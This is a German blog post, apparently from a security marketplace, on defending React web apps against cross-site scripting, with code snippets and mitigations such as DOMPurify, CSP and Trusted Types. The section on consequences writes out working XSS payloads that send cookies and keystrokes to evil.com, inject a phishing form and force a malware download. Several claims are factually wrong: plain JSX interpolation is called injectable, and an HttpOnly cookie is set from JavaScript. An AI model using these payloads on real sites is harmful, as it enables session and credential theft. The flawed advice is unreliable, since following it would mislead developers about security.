Webanwendungen mit ReactJS sind beliebt, leistungsfähig und flexibel. Doch genau das macht sie auch zu einem beliebten Ziel für Angreifer. Eine der häufigsten Sicherheitslücken, die React-Entwickler im Auge behalten sollten, ist Cross-Site Scripting (XSS). In diesem Artikel zeige ich dir, wie du dich davor schützen kannst – mit praktischen Beispielen, die du direkt in deinen Code einbauen kannst.
1. Cross-Site Scripting (XSS) – Wie funktioniert der Angriff?
XSS ermöglicht es Angreifern, bösartigen JavaScript-Code in eine Anwendung einzuschleusen. Das passiert meist durch manipulierte Eingaben, die von der Anwendung ungeprüft in das DOM eingefügt werden. Sobald ein Nutzer die manipulierte Seite besucht, wird der Code ausgeführt.
Beispiel für eine XSS-Sicherheitslücke in React
Schauen wir uns einen simplen React-Code an, der potenziell anfällig für XSS ist:
function UserProfile({ username }) {
return <div>Willkommen, {username}!</div>;
}Hier wird username ungeprüft in das DOM eingefügt. Falls jemand username='<script>alert("Hacked!")</script>' setzt, wird der JavaScript-Code direkt im Browser ausgeführt. Das ist eine klassische XSS-Schwachstelle.
Wie du dich gegen XSS schützt
1. Niemals dangerouslySetInnerHTML nutzen
React escapt standardmäßig Zeichen wie < und > in JSX, sodass sie nicht als HTML interpretiert werden. Doch sobald du dangerouslySetInnerHTML benutzt, hebst du diesen Schutz auf:
function UserProfile({ bio }) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}Lösung: Vermeide dangerouslySetInnerHTML und nutze stattdessen innerText oder textContent, um HTML-Injection zu verhindern.
2. Input-Validierung und Escaping
Wenn du Benutzereingaben speicherst, solltest du sie vor der Anzeige sanitizen. Eine bewährte Lösung ist die Bibliothek DOMPurify:
import DOMPurify from 'dompurify';
function SafeComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;
}DOMPurify entfernt bösartige Skripte und stellt sicher, dass HTML sicher gerendert wird.
3. Content Security Policy (CSP) nutzen
Mit einer CSP (Content Security Policy) kannst du das Laden und Ausführen von schädlichem JavaScript verhindern. Füge dazu in deine Content-Security-Policy-Header Folgendes hinzu:
Content-Security-Policy: default-src 'self'; script-src 'self';4. Reflected XSS durch sichere URL-Parameter verhindern
Falls du URL-Parameter nutzt, solltest du sicherstellen, dass diese nicht ungeprüft ins DOM geschrieben werden:
import { useParams } from 'react-router-dom';
function UserProfile() {
const { username } = useParams();
return <div>{DOMPurify.sanitize(username)}</div>;
}Hier wird sichergestellt, dass Benutzername-Werte nicht als bösartiges HTML interpretiert werden.
5. Trusted Types aktivieren
Trusted Types ist eine moderne Sicherheitsfunktion, die verhindert, dass ungeprüfte Zeichenketten in das DOM gelangen. Sie kann in Chrome aktiviert werden:
Content-Security-Policy: require-trusted-types-for 'script';Damit lassen sich XSS-Schwachstellen weiter reduzieren.
6. HttpOnly & Secure Cookies setzen
Wenn deine Anwendung Cookies zur Authentifizierung nutzt, stelle sicher, dass sie mit den Flags HttpOnly und Secure versehen sind:
document.cookie = "session=xyz; HttpOnly; Secure";Dadurch wird verhindert, dass ein XSS-Angriff auf die Cookies zugreifen kann.
7. Subresource Integrity (SRI) für externe Skripte verwenden
Falls du externe JavaScript-Bibliotheken lädst, solltest du SRI verwenden, um sicherzustellen, dass der Code nicht manipuliert wurde:
<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxX5MkU5P0U6o/5+rtEX2Dx+kp8g+3/"
crossorigin="anonymous"></script>8. Referrer Policy setzen
Um zu verhindern, dass sensible URL-Daten an externe Seiten geleakt werden:
<meta name="referrer" content="no-referrer">
2. Was passiert, wenn XSS-Schutzmaßnahmen fehlen?
1. Datendiebstahl durch Session Hijacking
Ohne Schutzmaßnahmen kann ein Angreifer bösartige Skripte einschleusen, um die Session eines Nutzers zu kapern. Er kann etwa durch ein <script>-Tag die Cookies auslesen und an einen externen Server senden:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie);</script>Dadurch kann der Angreifer sich als der Nutzer ausgeben und dessen Daten oder sogar Admin-Zugänge übernehmen.
2. Keylogger für Passwörter und Eingaben
Ein Angreifer kann auch ein Skript einfügen, das Tastatureingaben mitliest und an einen externen Server schickt:
<script>
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/log?key=' + e.key);
});
</script>Hiermit kann der Angreifer sensible Daten wie Passwörter oder Kreditkarteninformationen stehlen.
3. Defacing und Manipulation der Website
Ein Angreifer kann das DOM der Anwendung verändern, indem er durch XSS schädliche Inhalte einfügt. Beispielsweise könnte er gefälschte Login-Formulare anzeigen, um Nutzer zur Eingabe ihrer Zugangsdaten zu verleiten.
<script>
document.body.innerHTML = '<h1>Dein Konto wurde gesperrt! Bitte logge dich erneut ein.</h1><form action="https://evil.com/login"><input type="text" name="user"><input type="password" name="pass"><button>Login</button></form>';
</script>4. Schadcode verbreiten (Drive-by Downloads)
Ein weiterer Angriff ist das automatische Herunterladen und Ausführen von Malware über XSS:
<script>
window.location.href = 'https://evil.com/malware.exe';
</script>Dadurch können Schadprogramme auf dem Rechner der Nutzer installiert werden, was enorme Konsequenzen für das Unternehmen haben kann.
3. Fazit: Sichere ReactJS-Anwendungen
XSS kann enormen Schaden anrichten, von gestohlenen Nutzerdaten bis hin zur vollständigen Kompromittierung einer Anwendung. Deshalb ist es wichtig, alle relevanten Schutzmaßnahmen umzusetzen:
✅ Keine ungeprüften Eingaben ins DOM schreiben (insbesondere durch dangerouslySetInnerHTML)
✅ DOMPurify oder ähnliche Bibliotheken nutzen
✅ CSP aktivieren, um Skripte von Drittanbietern zu blockieren
✅ Sichere URL-Parameter verwenden und Eingaben validieren
✅ HttpOnly & Secure Cookies setzen, um XSS-Angriffe auf Sessions zu erschweren
✅ Trusted Types aktivieren, um die Angriffsfläche weiter zu reduzieren
Falls du eine professionelle Sicherheitsprüfung deiner React-Anwendung benötigst, findest du Experten auf unserem cyberphinix Marktplatz für Informations-, IT- und Cybersicherheit. Sie helfen dir, Schwachstellen aufzudecken, bevor es ein Angreifer tut. 💡
Weitere Ressourcen:
